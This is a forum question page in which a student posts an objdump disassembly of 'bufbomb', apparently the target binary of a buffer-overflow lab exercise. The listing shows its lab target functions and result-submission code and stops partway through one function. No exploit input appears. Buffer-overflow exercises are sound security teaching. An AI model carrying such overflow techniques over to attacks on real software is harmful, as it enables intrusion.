[x]
Posted via EE Mobile

Search, ask, and monitor your questions on the go with EE Mobile. Visit Experts Exchange from your mobile device and never be out of touch again.

Question
[x]
Attachment Details
[x]
The Solution Rating System

With so many solutions, how can you tell which solutions are most likely to help you and which ones are not? To provide you with a tool to use, we rate our solutions based on various elements that most accurately determine if a solution is a quality solution. To explain what factors affect the solution rating, here are the elements we take into consideration when formulating our solution rating.

  • The Grade of the Solution
  • The Zone Rank of the Expert Providing the Solution
  • The Number of Author and Expert Comments
  • The Number of Experts Contributing
  • The Feedback of the Community

Your Input Matters
Because of the way the system is set up, the most important variable in this equation is you. As a member of Experts Exchange, you are able to cast your vote on the quality of the solutions in regard to how complete, accurate, helpful and easy to understand each solution is. When you provide your feedback, each rating is adjusted accordingly. So, if you see a solution that has a poor rating that you think is a good solution, let us know by rating it. As you do, the rating will be adjusted and will become more accurate for other members of our site.

If you have any suggestions that you would like to make for our rating system, please ask a question in the Suggestions Zone of Community Support.

Thank you!

9.0

Buffer Bomb Problem

Asked by ckehoe in Assembly Programming Language

Tags: Assembly

Here is the object dump of my the bomb program:


bufbomb:     file format elf32-i386

Disassembly of section .init:

080486c8 <_init>:
 80486c8:      55                         push   %ebp
 80486c9:      89 e5                      mov    %esp,%ebp
 80486cb:      53                         push   %ebx
 80486cc:      83 ec 04                   sub    $0x4,%esp
 80486cf:      e8 00 00 00 00             call   80486d4 <_init+0xc>
 80486d4:      5b                         pop    %ebx
 80486d5:      81 c3 14 1a 00 00          add    $0x1a14,%ebx
 80486db:      8b 93 fc ff ff ff          mov    0xfffffffc(%ebx),%edx
 80486e1:      85 d2                      test   %edx,%edx
 80486e3:      74 05                      je     80486ea <_init+0x22>
 80486e5:      e8 5e 00 00 00             call   8048748 <__gmon_start__@plt>
 80486ea:      e8 41 02 00 00             call   8048930 <frame_dummy>
 80486ef:      e8 ac 0d 00 00             call   80494a0 <__do_global_ctors_aux>
 80486f4:      58                         pop    %eax
 80486f5:      5b                         pop    %ebx
 80486f6:      c9                         leave  
 80486f7:      c3                         ret    
Disassembly of section .plt:

080486f8 <sprintf@plt-0x10>:
 80486f8:      ff 35 ec a0 04 08          pushl  0x804a0ec
 80486fe:      ff 25 f0 a0 04 08          jmp    *0x804a0f0
 8048704:      00 00                      add    %al,(%eax)
      ...

08048708 <sprintf@plt>:
 8048708:      ff 25 f4 a0 04 08          jmp    *0x804a0f4
 804870e:      68 00 00 00 00             push   $0x0
 8048713:      e9 e0 ff ff ff             jmp    80486f8 <_init+0x30>

08048718 <srand@plt>:
 8048718:      ff 25 f8 a0 04 08          jmp    *0x804a0f8
 804871e:      68 08 00 00 00             push   $0x8
 8048723:      e9 d0 ff ff ff             jmp    80486f8 <_init+0x30>

08048728 <random@plt>:
 8048728:      ff 25 fc a0 04 08          jmp    *0x804a0fc
 804872e:      68 10 00 00 00             push   $0x10
 8048733:      e9 c0 ff ff ff             jmp    80486f8 <_init+0x30>

08048738 <signal@plt>:
 8048738:      ff 25 00 a1 04 08          jmp    *0x804a100
 804873e:      68 18 00 00 00             push   $0x18
 8048743:      e9 b0 ff ff ff             jmp    80486f8 <_init+0x30>

08048748 <__gmon_start__@plt>:
 8048748:      ff 25 04 a1 04 08          jmp    *0x804a104
 804874e:      68 20 00 00 00             push   $0x20
 8048753:      e9 a0 ff ff ff             jmp    80486f8 <_init+0x30>

08048758 <calloc@plt>:
 8048758:      ff 25 08 a1 04 08          jmp    *0x804a108
 804875e:      68 28 00 00 00             push   $0x28
 8048763:      e9 90 ff ff ff             jmp    80486f8 <_init+0x30>

08048768 <system@plt>:
 8048768:      ff 25 0c a1 04 08          jmp    *0x804a10c
 804876e:      68 30 00 00 00             push   $0x30
 8048773:      e9 80 ff ff ff             jmp    80486f8 <_init+0x30>

08048778 <memset@plt>:
 8048778:      ff 25 10 a1 04 08          jmp    *0x804a110
 804877e:      68 38 00 00 00             push   $0x38
 8048783:      e9 70 ff ff ff             jmp    80486f8 <_init+0x30>

08048788 <__libc_start_main@plt>:
 8048788:      ff 25 14 a1 04 08          jmp    *0x804a114
 804878e:      68 40 00 00 00             push   $0x40
 8048793:      e9 60 ff ff ff             jmp    80486f8 <_init+0x30>

08048798 <_IO_getc@plt>:
 8048798:      ff 25 18 a1 04 08          jmp    *0x804a118
 804879e:      68 48 00 00 00             push   $0x48
 80487a3:      e9 50 ff ff ff             jmp    80486f8 <_init+0x30>

080487a8 <__ctype_b_loc@plt>:
 80487a8:      ff 25 1c a1 04 08          jmp    *0x804a11c
 80487ae:      68 50 00 00 00             push   $0x50
 80487b3:      e9 40 ff ff ff             jmp    80486f8 <_init+0x30>

080487b8 <fclose@plt>:
 80487b8:      ff 25 20 a1 04 08          jmp    *0x804a120
 80487be:      68 58 00 00 00             push   $0x58
 80487c3:      e9 30 ff ff ff             jmp    80486f8 <_init+0x30>

080487c8 <getopt@plt>:
 80487c8:      ff 25 24 a1 04 08          jmp    *0x804a124
 80487ce:      68 60 00 00 00             push   $0x60
 80487d3:      e9 20 ff ff ff             jmp    80486f8 <_init+0x30>

080487d8 <fopen@plt>:
 80487d8:      ff 25 28 a1 04 08          jmp    *0x804a128
 80487de:      68 68 00 00 00             push   $0x68
 80487e3:      e9 10 ff ff ff             jmp    80486f8 <_init+0x30>

080487e8 <alarm@plt>:
 80487e8:      ff 25 2c a1 04 08          jmp    *0x804a12c
 80487ee:      68 70 00 00 00             push   $0x70
 80487f3:      e9 00 ff ff ff             jmp    80486f8 <_init+0x30>

080487f8 <strcpy@plt>:
 80487f8:      ff 25 30 a1 04 08          jmp    *0x804a130
 80487fe:      68 78 00 00 00             push   $0x78
 8048803:      e9 f0 fe ff ff             jmp    80486f8 <_init+0x30>

08048808 <printf@plt>:
 8048808:      ff 25 34 a1 04 08          jmp    *0x804a134
 804880e:      68 80 00 00 00             push   $0x80
 8048813:      e9 e0 fe ff ff             jmp    80486f8 <_init+0x30>

08048818 <srandom@plt>:
 8048818:      ff 25 38 a1 04 08          jmp    *0x804a138
 804881e:      68 88 00 00 00             push   $0x88
 8048823:      e9 d0 fe ff ff             jmp    80486f8 <_init+0x30>

08048828 <fwrite@plt>:
 8048828:      ff 25 3c a1 04 08          jmp    *0x804a13c
 804882e:      68 90 00 00 00             push   $0x90
 8048833:      e9 c0 fe ff ff             jmp    80486f8 <_init+0x30>

08048838 <fprintf@plt>:
 8048838:      ff 25 40 a1 04 08          jmp    *0x804a140
 804883e:      68 98 00 00 00             push   $0x98
 8048843:      e9 b0 fe ff ff             jmp    80486f8 <_init+0x30>

08048848 <remove@plt>:
 8048848:      ff 25 44 a1 04 08          jmp    *0x804a144
 804884e:      68 a0 00 00 00             push   $0xa0
 8048853:      e9 a0 fe ff ff             jmp    80486f8 <_init+0x30>

08048858 <cuserid@plt>:
 8048858:      ff 25 48 a1 04 08          jmp    *0x804a148
 804885e:      68 a8 00 00 00             push   $0xa8
 8048863:      e9 90 fe ff ff             jmp    80486f8 <_init+0x30>

08048868 <fputc@plt>:
 8048868:      ff 25 4c a1 04 08          jmp    *0x804a14c
 804886e:      68 b0 00 00 00             push   $0xb0
 8048873:      e9 80 fe ff ff             jmp    80486f8 <_init+0x30>

08048878 <puts@plt>:
 8048878:      ff 25 50 a1 04 08          jmp    *0x804a150
 804887e:      68 b8 00 00 00             push   $0xb8
 8048883:      e9 70 fe ff ff             jmp    80486f8 <_init+0x30>

08048888 <rand@plt>:
 8048888:      ff 25 54 a1 04 08          jmp    *0x804a154
 804888e:      68 c0 00 00 00             push   $0xc0
 8048893:      e9 60 fe ff ff             jmp    80486f8 <_init+0x30>

08048898 <tempnam@plt>:
 8048898:      ff 25 58 a1 04 08          jmp    *0x804a158
 804889e:      68 c8 00 00 00             push   $0xc8
 80488a3:      e9 50 fe ff ff             jmp    80486f8 <_init+0x30>

080488a8 <__strdup@plt>:
 80488a8:      ff 25 5c a1 04 08          jmp    *0x804a15c
 80488ae:      68 d0 00 00 00             push   $0xd0
 80488b3:      e9 40 fe ff ff             jmp    80486f8 <_init+0x30>

080488b8 <exit@plt>:
 80488b8:      ff 25 60 a1 04 08          jmp    *0x804a160
 80488be:      68 d8 00 00 00             push   $0xd8
 80488c3:      e9 30 fe ff ff             jmp    80486f8 <_init+0x30>
Disassembly of section .text:

080488d0 <_start>:
 80488d0:      31 ed                      xor    %ebp,%ebp
 80488d2:      5e                         pop    %esi
 80488d3:      89 e1                      mov    %esp,%ecx
 80488d5:      83 e4 f0                   and    $0xfffffff0,%esp
 80488d8:      50                         push   %eax
 80488d9:      54                         push   %esp
 80488da:      52                         push   %edx
 80488db:      68 30 94 04 08             push   $0x8049430
 80488e0:      68 40 94 04 08             push   $0x8049440
 80488e5:      51                         push   %ecx
 80488e6:      56                         push   %esi
 80488e7:      68 00 91 04 08             push   $0x8049100
 80488ec:      e8 97 fe ff ff             call   8048788 <__libc_start_main@plt>
 80488f1:      f4                         hlt    
 80488f2:      90                         nop    
 80488f3:      90                         nop    
 80488f4:      90                         nop    
 80488f5:      90                         nop    
 80488f6:      90                         nop    
 80488f7:      90                         nop    
 80488f8:      90                         nop    
 80488f9:      90                         nop    
 80488fa:      90                         nop    
 80488fb:      90                         nop    
 80488fc:      90                         nop    
 80488fd:      90                         nop    
 80488fe:      90                         nop    
 80488ff:      90                         nop    

08048900 <__do_global_dtors_aux>:
 8048900:      55                         push   %ebp
 8048901:      89 e5                      mov    %esp,%ebp
 8048903:      83 ec 08                   sub    $0x8,%esp
 8048906:      80 3d a8 a1 04 08 00       cmpb   $0x0,0x804a1a8
 804890d:      74 0c                      je     804891b <__do_global_dtors_aux+0x1b>
 804890f:      eb 1c                      jmp    804892d <__do_global_dtors_aux+0x2d>
 8048911:      83 c0 04                   add    $0x4,%eax
 8048914:      a3 6c a1 04 08             mov    %eax,0x804a16c
 8048919:      ff d2                      call   *%edx
 804891b:      a1 6c a1 04 08             mov    0x804a16c,%eax
 8048920:      8b 10                      mov    (%eax),%edx
 8048922:      85 d2                      test   %edx,%edx
 8048924:      75 eb                      jne    8048911 <__do_global_dtors_aux+0x11>
 8048926:      c6 05 a8 a1 04 08 01       movb   $0x1,0x804a1a8
 804892d:      c9                         leave  
 804892e:      c3                         ret    
 804892f:      90                         nop    

08048930 <frame_dummy>:
 8048930:      55                         push   %ebp
 8048931:      89 e5                      mov    %esp,%ebp
 8048933:      83 ec 08                   sub    $0x8,%esp
 8048936:      a1 10 a0 04 08             mov    0x804a010,%eax
 804893b:      85 c0                      test   %eax,%eax
 804893d:      74 12                      je     8048951 <frame_dummy+0x21>
 804893f:      b8 00 00 00 00             mov    $0x0,%eax
 8048944:      85 c0                      test   %eax,%eax
 8048946:      74 09                      je     8048951 <frame_dummy+0x21>
 8048948:      c7 04 24 10 a0 04 08       movl   $0x804a010,(%esp)
 804894f:      ff d0                      call   *%eax
 8048951:      c9                         leave  
 8048952:      c3                         ret    
 8048953:      90                         nop    
 8048954:      90                         nop    
 8048955:      90                         nop    
 8048956:      90                         nop    
 8048957:      90                         nop    
 8048958:      90                         nop    
 8048959:      90                         nop    
 804895a:      90                         nop    
 804895b:      90                         nop    
 804895c:      90                         nop    
 804895d:      90                         nop    
 804895e:      90                         nop    
 804895f:      90                         nop    

08048960 <save_char>:
 8048960:      8b 0d e0 a1 04 08          mov    0x804a1e0,%ecx
 8048966:      55                         push   %ebp
 8048967:      89 e5                      mov    %esp,%ebp
 8048969:      53                         push   %ebx
 804896a:      89 c3                      mov    %eax,%ebx
 804896c:      81 f9 ff 03 00 00          cmp    $0x3ff,%ecx
 8048972:      7f 37                      jg     80489ab <save_char+0x4b>
 8048974:      c0 f8 04                   sar    $0x4,%al
 8048977:      83 e0 0f                   and    $0xf,%eax
 804897a:      0f b6 80 88 9a 04 08       movzbl 0x8049a88(%eax),%eax
 8048981:      8d 14 49                   lea    (%ecx,%ecx,2),%edx
 8048984:      c6 82 02 a2 04 08 20       movb   $0x20,0x804a202(%edx)
 804898b:      88 82 00 a2 04 08          mov    %al,0x804a200(%edx)
 8048991:      89 d8                      mov    %ebx,%eax
 8048993:      83 e0 0f                   and    $0xf,%eax
 8048996:      0f b6 80 88 9a 04 08       movzbl 0x8049a88(%eax),%eax
 804899d:      88 82 01 a2 04 08          mov    %al,0x804a201(%edx)
 80489a3:      8d 41 01                   lea    0x1(%ecx),%eax
 80489a6:      a3 e0 a1 04 08             mov    %eax,0x804a1e0
 80489ab:      5b                         pop    %ebx
 80489ac:      5d                         pop    %ebp
 80489ad:      c3                         ret    
 80489ae:      66 90                      xchg   %ax,%ax

080489b0 <entry_check>:
 80489b0:      55                         push   %ebp
 80489b1:      89 e5                      mov    %esp,%ebp
 80489b3:      8b 45 08                   mov    0x8(%ebp),%eax
 80489b6:      5d                         pop    %ebp
 80489b7:      a3 74 a1 04 08             mov    %eax,0x804a174
 80489bc:      c3                         ret    
 80489bd:      8d 76 00                   lea    0x0(%esi),%esi

080489c0 <illegalhandler>:
 80489c0:      55                         push   %ebp
 80489c1:      89 e5                      mov    %esp,%ebp
 80489c3:      83 ec 08                   sub    $0x8,%esp
 80489c6:      c7 04 24 f0 94 04 08       movl   $0x80494f0,(%esp)
 80489cd:      e8 a6 fe ff ff             call   8048878 <puts@plt>
 80489d2:      c7 04 24 64 98 04 08       movl   $0x8049864,(%esp)
 80489d9:      e8 9a fe ff ff             call   8048878 <puts@plt>
 80489de:      c7 04 24 00 00 00 00       movl   $0x0,(%esp)
 80489e5:      e8 ce fe ff ff             call   80488b8 <exit@plt>
 80489ea:      8d b6 00 00 00 00          lea    0x0(%esi),%esi

080489f0 <alarmhandler>:
 80489f0:      55                         push   %ebp
 80489f1:      89 e5                      mov    %esp,%ebp
 80489f3:      83 ec 08                   sub    $0x8,%esp
 80489f6:      a1 78 a1 04 08             mov    0x804a178,%eax
 80489fb:      c7 04 24 1c 95 04 08       movl   $0x804951c,(%esp)
 8048a02:      89 44 24 04                mov    %eax,0x4(%esp)
 8048a06:      e8 fd fd ff ff             call   8048808 <printf@plt>
 8048a0b:      c7 04 24 64 98 04 08       movl   $0x8049864,(%esp)
 8048a12:      e8 61 fe ff ff             call   8048878 <puts@plt>
 8048a17:      c7 04 24 00 00 00 00       movl   $0x0,(%esp)
 8048a1e:      e8 95 fe ff ff             call   80488b8 <exit@plt>
 8048a23:      8d b6 00 00 00 00          lea    0x0(%esi),%esi
 8048a29:      8d bc 27 00 00 00 00       lea    0x0(%edi),%edi

08048a30 <seghandler>:
 8048a30:      55                         push   %ebp
 8048a31:      89 e5                      mov    %esp,%ebp
 8048a33:      83 ec 08                   sub    $0x8,%esp
 8048a36:      c7 04 24 50 95 04 08       movl   $0x8049550,(%esp)
 8048a3d:      e8 36 fe ff ff             call   8048878 <puts@plt>
 8048a42:      c7 04 24 64 98 04 08       movl   $0x8049864,(%esp)
 8048a49:      e8 2a fe ff ff             call   8048878 <puts@plt>
 8048a4e:      c7 04 24 00 00 00 00       movl   $0x0,(%esp)
 8048a55:      e8 5e fe ff ff             call   80488b8 <exit@plt>
 8048a5a:      8d b6 00 00 00 00          lea    0x0(%esi),%esi

08048a60 <bushandler>:
 8048a60:      55                         push   %ebp
 8048a61:      89 e5                      mov    %esp,%ebp
 8048a63:      83 ec 08                   sub    $0x8,%esp
 8048a66:      c7 04 24 78 95 04 08       movl   $0x8049578,(%esp)
 8048a6d:      e8 06 fe ff ff             call   8048878 <puts@plt>
 8048a72:      c7 04 24 64 98 04 08       movl   $0x8049864,(%esp)
 8048a79:      e8 fa fd ff ff             call   8048878 <puts@plt>
 8048a7e:      c7 04 24 00 00 00 00       movl   $0x0,(%esp)
 8048a85:      e8 2e fe ff ff             call   80488b8 <exit@plt>
 8048a8a:      8d b6 00 00 00 00          lea    0x0(%esi),%esi

08048a90 <usage>:
 8048a90:      55                         push   %ebp
 8048a91:      89 e5                      mov    %esp,%ebp
 8048a93:      83 ec 08                   sub    $0x8,%esp
 8048a96:      89 44 24 04                mov    %eax,0x4(%esp)
 8048a9a:      c7 04 24 98 95 04 08       movl   $0x8049598,(%esp)
 8048aa1:      e8 62 fd ff ff             call   8048808 <printf@plt>
 8048aa6:      c7 04 24 7a 98 04 08       movl   $0x804987a,(%esp)
 8048aad:      e8 c6 fd ff ff             call   8048878 <puts@plt>
 8048ab2:      c7 04 24 98 98 04 08       movl   $0x8049898,(%esp)
 8048ab9:      e8 ba fd ff ff             call   8048878 <puts@plt>
 8048abe:      c7 04 24 bc 95 04 08       movl   $0x80495bc,(%esp)
 8048ac5:      e8 ae fd ff ff             call   8048878 <puts@plt>
 8048aca:      c7 04 24 e4 95 04 08       movl   $0x80495e4,(%esp)
 8048ad1:      e8 a2 fd ff ff             call   8048878 <puts@plt>
 8048ad6:      c7 04 24 00 00 00 00       movl   $0x0,(%esp)
 8048add:      e8 d6 fd ff ff             call   80488b8 <exit@plt>
 8048ae2:      8d b4 26 00 00 00 00       lea    0x0(%esi),%esi
 8048ae9:      8d bc 27 00 00 00 00       lea    0x0(%edi),%edi

08048af0 <validate>:
 8048af0:      55                         push   %ebp
 8048af1:      89 e5                      mov    %esp,%ebp
 8048af3:      81 ec 48 01 00 00          sub    $0x148,%esp
 8048af9:      8b 0d d0 a1 04 08          mov    0x804a1d0,%ecx
 8048aff:      89 5d f4                   mov    %ebx,0xfffffff4(%ebp)
 8048b02:      8b 5d 08                   mov    0x8(%ebp),%ebx
 8048b05:      89 75 f8                   mov    %esi,0xfffffff8(%ebp)
 8048b08:      89 7d fc                   mov    %edi,0xfffffffc(%ebp)
 8048b0b:      85 c9                      test   %ecx,%ecx
 8048b0d:      0f 84 d8 01 00 00          je     8048ceb <validate+0x1fb>
 8048b13:      83 fb 04                   cmp    $0x4,%ebx
 8048b16:      77 58                      ja     8048b70 <validate+0x80>
 8048b18:      3b 1d 74 a1 04 08          cmp    0x804a174,%ebx
 8048b1e:      74 20                      je     8048b40 <validate+0x50>
 8048b20:      c7 04 24 5c 96 04 08       movl   $0x804965c,(%esp)
 8048b27:      e8 4c fd ff ff             call   8048878 <puts@plt>
 8048b2c:      8d 74 26 00                lea    0x0(%esi),%esi
 8048b30:      8b 5d f4                   mov    0xfffffff4(%ebp),%ebx
 8048b33:      8b 75 f8                   mov    0xfffffff8(%ebp),%esi
 8048b36:      8b 7d fc                   mov    0xfffffffc(%ebp),%edi
 8048b39:      89 ec                      mov    %ebp,%esp
 8048b3b:      5d                         pop    %ebp
 8048b3c:      c3                         ret    
 8048b3d:      8d 76 00                   lea    0x0(%esi),%esi
 8048b40:      8b 04 9d 7c a1 04 08       mov    0x804a17c(,%ebx,4),%eax
 8048b47:      c7 05 d8 a1 04 08 01       movl   $0x1,0x804a1d8
 8048b4e:      00 00 00
 8048b51:      83 e8 01                   sub    $0x1,%eax
 8048b54:      85 c0                      test   %eax,%eax
 8048b56:      89 04 9d 7c a1 04 08       mov    %eax,0x804a17c(,%ebx,4)
 8048b5d:      7e 21                      jle    8048b80 <validate+0x90>
 8048b5f:      c7 04 24 af 98 04 08       movl   $0x80498af,(%esp)
 8048b66:      e8 0d fd ff ff             call   8048878 <puts@plt>
 8048b6b:      eb c3                      jmp    8048b30 <validate+0x40>
 8048b6d:      8d 76 00                   lea    0x0(%esi),%esi
 8048b70:      c7 04 24 34 96 04 08       movl   $0x8049634,(%esp)
 8048b77:      e8 fc fc ff ff             call   8048878 <puts@plt>
 8048b7c:      eb b2                      jmp    8048b30 <validate+0x40>
 8048b7e:      66 90                      xchg   %ax,%ax
 8048b80:      8b 15 d4 a1 04 08          mov    0x804a1d4,%edx
 8048b86:      85 d2                      test   %edx,%edx
 8048b88:      0f 85 7f 01 00 00          jne    8048d0d <validate+0x21d>
 8048b8e:      a1 70 a1 04 08             mov    0x804a170,%eax
 8048b93:      85 c0                      test   %eax,%eax
 8048b95:      0f 84 61 01 00 00          je     8048cfc <validate+0x20c>
 8048b9b:      c7 44 24 04 c0 98 04       movl   $0x80498c0,0x4(%esp)
 8048ba2:      08
 8048ba3:      c7 04 24 00 00 00 00       movl   $0x0,(%esp)
 8048baa:      e8 e9 fc ff ff             call   8048898 <tempnam@plt>
 8048baf:      c7 44 24 04 c7 98 04       movl   $0x80498c7,0x4(%esp)
 8048bb6:      08
 8048bb7:      89 85 e0 fe ff ff          mov    %eax,0xfffffee0(%ebp)
 8048bbd:      89 04 24                   mov    %eax,(%esp)
 8048bc0:      e8 13 fc ff ff             call   80487d8 <fopen@plt>
 8048bc5:      85 c0                      test   %eax,%eax
 8048bc7:      89 c6                      mov    %eax,%esi
 8048bc9:      0f 84 76 01 00 00          je     8048d45 <validate+0x255>
 8048bcf:      89 44 24 0c                mov    %eax,0xc(%esp)
 8048bd3:      c7 44 24 08 1b 00 00       movl   $0x1b,0x8(%esp)
 8048bda:      00
 8048bdb:      c7 44 24 04 01 00 00       movl   $0x1,0x4(%esp)
 8048be2:      00
 8048be3:      c7 04 24 c9 98 04 08       movl   $0x80498c9,(%esp)
 8048bea:      e8 39 fc ff ff             call   8048828 <fwrite@plt>
 8048bef:      89 74 24 04                mov    %esi,0x4(%esp)
 8048bf3:      c7 04 24 0a 00 00 00       movl   $0xa,(%esp)
 8048bfa:      e8 69 fc ff ff             call   8048868 <fputc@plt>
 8048bff:      c7 04 24 00 00 00 00       movl   $0x0,(%esp)
 8048c06:      e8 4d fc ff ff             call   8048858 <cuserid@plt>
 8048c0b:      85 c0                      test   %eax,%eax
 8048c0d:      0f 84 19 01 00 00          je     8048d2c <validate+0x23c>
 8048c13:      8d 7d eb                   lea    0xffffffeb(%ebp),%edi
 8048c16:      89 44 24 04                mov    %eax,0x4(%esp)
 8048c1a:      89 3c 24                   mov    %edi,(%esp)
 8048c1d:      e8 d6 fb ff ff             call   80487f8 <strcpy@plt>
 8048c22:      89 7c 24 08                mov    %edi,0x8(%esp)
 8048c26:      c7 44 24 04 e5 98 04       movl   $0x80498e5,0x4(%esp)
 8048c2d:      08
 8048c2e:      89 34 24                   mov    %esi,(%esp)
 8048c31:      e8 02 fc ff ff             call   8048838 <fprintf@plt>
 8048c36:      a1 cc a1 04 08             mov    0x804a1cc,%eax
 8048c3b:      89 5c 24 10                mov    %ebx,0x10(%esp)
 8048c3f:      8d 9d eb fe ff ff          lea    0xfffffeeb(%ebp),%ebx
 8048c45:      c7 44 24 1c 00 00 00       movl   $0x0,0x1c(%esp)
 8048c4c:      00
 8048c4d:      c7 44 24 18 00 a2 04       movl   $0x804a200,0x18(%esp)
 8048c54:      08
 8048c55:      89 44 24 14                mov    %eax,0x14(%esp)
 8048c59:      a1 d0 a1 04 08             mov    0x804a1d0,%eax
 8048c5e:      c7 44 24 08 63 10 03       movl   $0x31063,0x8(%esp)
 8048c65:      00
 8048c66:      c7 44 24 04 cc 96 04       movl   $0x80496cc,0x4(%esp)
 8048c6d:      08
 8048c6e:      89 34 24                   mov    %esi,(%esp)
 8048c71:      89 44 24 0c                mov    %eax,0xc(%esp)
 8048c75:      e8 be fb ff ff             call   8048838 <fprintf@plt>
 8048c7a:      89 34 24                   mov    %esi,(%esp)
 8048c7d:      e8 36 fb ff ff             call   80487b8 <fclose@plt>
 8048c82:      8b 85 e0 fe ff ff          mov    0xfffffee0(%ebp),%eax
 8048c88:      c7 44 24 14 f3 98 04       movl   $0x80498f3,0x14(%esp)
 8048c8f:      08
 8048c90:      c7 44 24 10 01 99 04       movl   $0x8049901,0x10(%esp)
 8048c97:      08
 8048c98:      c7 44 24 0c 06 99 04       movl   $0x8049906,0xc(%esp)
 8048c9f:      08
 8048ca0:      89 44 24 08                mov    %eax,0x8(%esp)
 8048ca4:      c7 44 24 04 1d 99 04       movl   $0x804991d,0x4(%esp)
 8048cab:      08
 8048cac:      89 1c 24                   mov    %ebx,(%esp)
 8048caf:      e8 54 fa ff ff             call   8048708 <sprintf@plt>
 8048cb4:      89 1c 24                   mov    %ebx,(%esp)
 8048cb7:      e8 ac fa ff ff             call   8048768 <system@plt>
 8048cbc:      85 c0                      test   %eax,%eax
 8048cbe:      75 5e                      jne    8048d1e <validate+0x22e>
 8048cc0:      c7 04 24 30 99 04 08       movl   $0x8049930,(%esp)
 8048cc7:      e8 ac fb ff ff             call   8048878 <puts@plt>
 8048ccc:      c7 04 24 ec 96 04 08       movl   $0x80496ec,(%esp)
 8048cd3:      e8 a0 fb ff ff             call   8048878 <puts@plt>
 8048cd8:      8b 85 e0 fe ff ff          mov    0xfffffee0(%ebp),%eax
 8048cde:      89 04 24                   mov    %eax,(%esp)
 8048ce1:      e8 62 fb ff ff             call   8048848 <remove@plt>
 8048ce6:      e9 45 fe ff ff             jmp    8048b30 <validate+0x40>
 8048ceb:      c7 04 24 08 96 04 08       movl   $0x8049608,(%esp)
 8048cf2:      e8 81 fb ff ff             call   8048878 <puts@plt>
 8048cf7:      e9 34 fe ff ff             jmp    8048b30 <validate+0x40>
 8048cfc:      c7 04 24 5c 97 04 08       movl   $0x804975c,(%esp)
 8048d03:      e8 70 fb ff ff             call   8048878 <puts@plt>
 8048d08:      e9 23 fe ff ff             jmp    8048b30 <validate+0x40>
 8048d0d:      c7 04 24 ba 98 04 08       movl   $0x80498ba,(%esp)
 8048d14:      e8 5f fb ff ff             call   8048878 <puts@plt>
 8048d19:      e9 12 fe ff ff             jmp    8048b30 <validate+0x40>
 8048d1e:      c7 04 24 1c 97 04 08       movl   $0x804971c,(%esp)
 8048d25:      e8 4e fb ff ff             call   8048878 <puts@plt>
 8048d2a:      eb ac                      jmp    8048cd8 <validate+0x1e8>
 8048d2c:      8d 7d eb                   lea    0xffffffeb(%ebp),%edi
 8048d2f:      c7 45 eb 6e 6f 62 6f       movl   $0x6f626f6e,0xffffffeb(%ebp)
 8048d36:      66 c7 45 ef 64 79          movw   $0x7964,0xffffffef(%ebp)
 8048d3c:      c6 45 f1 00                movb   $0x0,0xfffffff1(%ebp)
 8048d40:      e9 dd fe ff ff             jmp    8048c22 <validate+0x132>
 8048d45:      c7 04 24 98 96 04 08       movl   $0x8049698,(%esp)
 8048d4c:      e8 b7 fa ff ff             call   8048808 <printf@plt>
 8048d51:      c7 04 24 01 00 00 00       movl   $0x1,(%esp)
 8048d58:      e8 5b fb ff ff             call   80488b8 <exit@plt>
 8048d5d:      8d 76 00                   lea    0x0(%esi),%esi

08048d60 <bang>:
 8048d60:      55                         push   %ebp
 8048d61:      89 e5                      mov    %esp,%ebp
 8048d63:      83 ec 08                   sub    $0x8,%esp
 8048d66:      c7 04 24 02 00 00 00       movl   $0x2,(%esp)
 8048d6d:      e8 3e fc ff ff             call   80489b0 <entry_check>
 8048d72:      a1 dc a1 04 08             mov    0x804a1dc,%eax
 8048d77:      3b 05 cc a1 04 08          cmp    0x804a1cc,%eax
 8048d7d:      74 21                      je     8048da0 <bang+0x40>
 8048d7f:      89 44 24 04                mov    %eax,0x4(%esp)
 8048d83:      c7 04 24 3a 99 04 08       movl   $0x804993a,(%esp)
 8048d8a:      e8 79 fa ff ff             call   8048808 <printf@plt>
 8048d8f:      c7 04 24 00 00 00 00       movl   $0x0,(%esp)
 8048d96:      e8 1d fb ff ff             call   80488b8 <exit@plt>
 8048d9b:      90                         nop    
 8048d9c:      8d 74 26 00                lea    0x0(%esi),%esi
 8048da0:      89 44 24 04                mov    %eax,0x4(%esp)
 8048da4:      c7 04 24 a8 97 04 08       movl   $0x80497a8,(%esp)
 8048dab:      e8 58 fa ff ff             call   8048808 <printf@plt>
 8048db0:      c7 04 24 02 00 00 00       movl   $0x2,(%esp)
 8048db7:      e8 34 fd ff ff             call   8048af0 <validate>
 8048dbc:      eb d1                      jmp    8048d8f <bang+0x2f>
 8048dbe:      66 90                      xchg   %ax,%ax

08048dc0 <fizz>:
 8048dc0:      55                         push   %ebp
 8048dc1:      89 e5                      mov    %esp,%ebp
 8048dc3:      53                         push   %ebx
 8048dc4:      83 ec 14                   sub    $0x14,%esp
 8048dc7:      8b 5d 08                   mov    0x8(%ebp),%ebx
 8048dca:      c7 04 24 01 00 00 00       movl   $0x1,(%esp)
 8048dd1:      e8 da fb ff ff             call   80489b0 <entry_check>
 8048dd6:      3b 1d cc a1 04 08          cmp    0x804a1cc,%ebx
 8048ddc:      74 22                      je     8048e00 <fizz+0x40>
 8048dde:      89 5c 24 04                mov    %ebx,0x4(%esp)
 8048de2:      c7 04 24 d0 97 04 08       movl   $0x80497d0,(%esp)
 8048de9:      e8 1a fa ff ff             call   8048808 <printf@plt>
 8048dee:      c7 04 24 00 00 00 00       movl   $0x0,(%esp)
 8048df5:      e8 be fa ff ff             call   80488b8 <exit@plt>
 8048dfa:      8d b6 00 00 00 00          lea    0x0(%esi),%esi
 8048e00:      89 5c 24 04                mov    %ebx,0x4(%esp)
 8048e04:      c7 04 24 58 99 04 08       movl   $0x8049958,(%esp)
 8048e0b:      e8 f8 f9 ff ff             call   8048808 <printf@plt>
 8048e10:      c7 04 24 01 00 00 00       movl   $0x1,(%esp)
 8048e17:      e8 d4 fc ff ff             call   8048af0 <validate>
 8048e1c:      eb d0                      jmp    8048dee <fizz+0x2e>
 8048e1e:      66 90                      xchg   %ax,%ax

08048e20 <smoke>:
 8048e20:      55                         push   %ebp
 8048e21:      89 e5                      mov    %esp,%ebp
 8048e23:      83 ec 08                   sub    $0x8,%esp
 8048e26:      c7 04 24 00 00 00 00       movl   $0x0,(%esp)
 8048e2d:      e8 7e fb ff ff             call   80489b0 <entry_check>
 8048e32:      c7 04 24 76 99 04 08       movl   $0x8049976,(%esp)
 8048e39:      e8 3a fa ff ff             call   8048878 <puts@plt>
 8048e3e:      c7 04 24 00 00 00 00       movl   $0x0,(%esp)
 8048e45:      e8 a6 fc ff ff             call   8048af0 <validate>
 8048e4a:      c7 04 24 00 00 00 00       movl   $0x0,(%esp)
